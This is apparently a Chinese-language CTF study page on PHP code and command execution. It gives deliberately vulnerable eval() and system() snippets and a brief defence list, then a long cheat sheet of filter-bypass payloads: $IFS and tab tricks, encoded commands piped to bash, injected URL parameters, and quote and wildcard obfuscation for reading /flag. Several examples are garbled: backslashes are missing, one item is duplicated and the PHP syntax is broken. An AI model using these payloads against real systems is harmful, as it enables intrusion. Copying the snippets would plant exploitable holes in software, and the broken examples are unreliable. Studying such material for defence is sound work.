RCE与命令执行从产生到防御

rce执行和命令执行漏洞

eval()函数将传进来的参数当作php代码进行解析
Rce代码漏洞示例

<?php
	$code=$_get['x'];
	eval($code) //代码执行
>

命令执行漏洞代码示例

<?php
	$code=$_get['x'];
	echo system($code) //命令执行
>

代码执行形成条件

1、可控变量
2、漏洞函数

产生

web源码 thinkphp webmin
中间件平台
其他环境
poc验证漏洞,exp利用漏洞

防御:

敏感函数禁用,变量过滤或固定,waf产品
rce漏洞函数
eval()、assert()、preg_replace()、**${}**
注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}
命令执行函数
system() :
shell_exec():
exec():
passthru():
空格被绕过
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}
关键字绕过
1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d    其将会打印123         //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh               将执行ls
3、hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "x63x61x74x20x2fx66x6cx61x67")         执行cat /flag
{printf,"x63x61x74x20x2fx66x6cx61x67"}|$0       执行cat /flag
4、Oct编码绕过
$(printf "154163")       执行ls
5、偶读拼接绕过
$(printf "154163")       执行ls
6、内联执行绕过
echo "a`pwd`"          #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
7、引号绕过
ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php
8、通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
9、反斜杠绕过
cat  =>  cat
more  =>  more  
index  =>  index
php  =>  php
nl  =>  nl
10、匹配绕过
c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>